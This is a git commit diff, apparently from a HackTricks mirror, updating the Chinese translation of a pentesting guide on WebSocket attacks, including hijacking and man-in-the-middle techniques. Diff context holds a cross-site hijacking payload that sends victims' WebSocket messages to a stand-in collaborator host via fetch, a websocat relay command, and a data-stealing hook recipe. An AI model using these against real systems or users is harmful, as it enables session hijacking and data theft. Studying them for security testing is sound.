mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/websocket-attacks.md'] to zh
This commit is contained in:
		
							parent
							
								
									d43ca18674
								
							
						
					
					
						commit
						1f0ad856fa
					
				@ -2,9 +2,9 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## 什么是 WebSocket
 | 
			
		||||
## 什么是 WebSockets
 | 
			
		||||
 | 
			
		||||
WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间** 存活,允许随时进行双向消息传递,而无需事务系统。这使得 WebSocket 特别适合需要 **低延迟或服务器发起通信** 的应用程序,例如实时金融数据流。
 | 
			
		||||
WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间** 存活,允许随时进行双向消息传递,而无需事务系统。这使得 WebSockets 对于需要 **低延迟或服务器发起通信** 的应用程序特别有利,例如实时金融数据流。
 | 
			
		||||
 | 
			
		||||
### WebSocket 连接的建立
 | 
			
		||||
 | 
			
		||||
@ -12,9 +12,9 @@ WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间
 | 
			
		||||
```javascript
 | 
			
		||||
var ws = new WebSocket("wss://normal-website.com/ws")
 | 
			
		||||
```
 | 
			
		||||
`wss` 协议表示一个通过 **TLS** 安全的 WebSocket 连接,而 `ws` 表示一个 **不安全** 的连接。
 | 
			
		||||
`wss` 协议表示一个使用 **TLS** 保护的 WebSocket 连接,而 `ws` 表示一个 **不安全的** 连接。
 | 
			
		||||
 | 
			
		||||
在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如下例所示:
 | 
			
		||||
在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如以下示例所示:
 | 
			
		||||
 | 
			
		||||
浏览器发送握手请求:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -33,7 +33,7 @@ Connection: Upgrade
 | 
			
		||||
Upgrade: websocket
 | 
			
		||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 | 
			
		||||
```
 | 
			
		||||
连接一旦建立,便可以在双向进行消息交换。
 | 
			
		||||
连接一旦建立,便保持开放以便双向消息交换。
 | 
			
		||||
 | 
			
		||||
**WebSocket 握手的关键点:**
 | 
			
		||||
 | 
			
		||||
@ -42,7 +42,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 | 
			
		||||
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值,确保每个握手都是唯一的,这有助于防止缓存代理出现问题。该值不是用于身份验证,而是用于确认响应不是由配置错误的服务器或缓存生成的。
 | 
			
		||||
- 服务器响应中的 `Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希,验证服务器打开 WebSocket 连接的意图。
 | 
			
		||||
 | 
			
		||||
这些特性确保了握手过程的安全性和可靠性,为高效的实时通信铺平了道路。
 | 
			
		||||
这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。
 | 
			
		||||
 | 
			
		||||
### Linux 控制台
 | 
			
		||||
 | 
			
		||||
@ -56,7 +56,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
 | 
			
		||||
```
 | 
			
		||||
### MitM websocket 连接
 | 
			
		||||
 | 
			
		||||
如果您发现客户端从当前本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
 | 
			
		||||
如果您发现客户端从您当前的本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
 | 
			
		||||
一旦客户端尝试连接,您可以使用:
 | 
			
		||||
```bash
 | 
			
		||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 | 
			
		||||
@ -74,15 +74,20 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 | 
			
		||||
- [**https://websocketking.com/**](https://websocketking.com/) 是一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
 | 
			
		||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中,它提供了一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
 | 
			
		||||
 | 
			
		||||
## Decrypting Websocket
 | 
			
		||||
 | 
			
		||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
 | 
			
		||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
 | 
			
		||||
 | 
			
		||||
## Websocket Lab
 | 
			
		||||
 | 
			
		||||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中,您有一个代码来启动一个使用 websockets 的网页,在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中可以找到解释。
 | 
			
		||||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中,您有一个代码来启动一个使用 websockets 的网页,在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中您可以找到解释。
 | 
			
		||||
 | 
			
		||||
## Cross-site WebSocket hijacking (CSWSH)
 | 
			
		||||
 | 
			
		||||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
 | 
			
		||||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。此漏洞的产生是因为 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证,而没有 **CSRF tokens** 或类似的安全措施。
 | 
			
		||||
 | 
			
		||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,该连接被视为受害者与应用程序的会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
 | 
			
		||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,该连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
 | 
			
		||||
 | 
			
		||||
### Simple Attack
 | 
			
		||||
 | 
			
		||||
@ -103,13 +108,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 | 
			
		||||
}
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
### 跨域 + 不同子域的 Cookie
 | 
			
		||||
### Cross Origin + Cookie with a different subdomain
 | 
			
		||||
 | 
			
		||||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地 **在进行 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**,**cookie** 被 **发送**,而且 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取其中的令牌**。
 | 
			
		||||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地 **在发生 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**,**cookie** 被 **发送**,而且 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取其中的令牌**。
 | 
			
		||||
 | 
			
		||||
### 从用户那里窃取数据
 | 
			
		||||
### Stealing data from user
 | 
			
		||||
 | 
			
		||||
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加以下代码:
 | 
			
		||||
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在发生 Websocket 通信的脚本中添加以下代码:
 | 
			
		||||
```javascript
 | 
			
		||||
//This is the script tag to load the websocket hooker
 | 
			
		||||
;<script src="wsHook.js"></script>
 | 
			
		||||
@ -140,11 +145,11 @@ WebSockets 中的竞争条件也是一个问题,[查看此信息以了解更
 | 
			
		||||
 | 
			
		||||
## 其他漏洞
 | 
			
		||||
 | 
			
		||||
由于 Web Sockets 是一种 **向服务器端和客户端发送数据** 的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可用于利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
 | 
			
		||||
由于 Web Sockets 是一种**向服务器端和客户端发送数据**的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可以被用来利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
 | 
			
		||||
 | 
			
		||||
## **WebSocket 走私**
 | 
			
		||||
 | 
			
		||||
此漏洞可能允许您 **绕过反向代理限制**,使其相信 **已建立 websocket 通信**(即使这不是真的)。这可能允许攻击者 **访问隐藏的端点**。有关更多信息,请查看以下页面:
 | 
			
		||||
此漏洞可能允许您**绕过反向代理限制**,使其相信**已建立 websocket 通信**(即使这不是真的)。这可能允许攻击者**访问隐藏的端点**。有关更多信息,请查看以下页面:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
h2c-smuggling.md
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user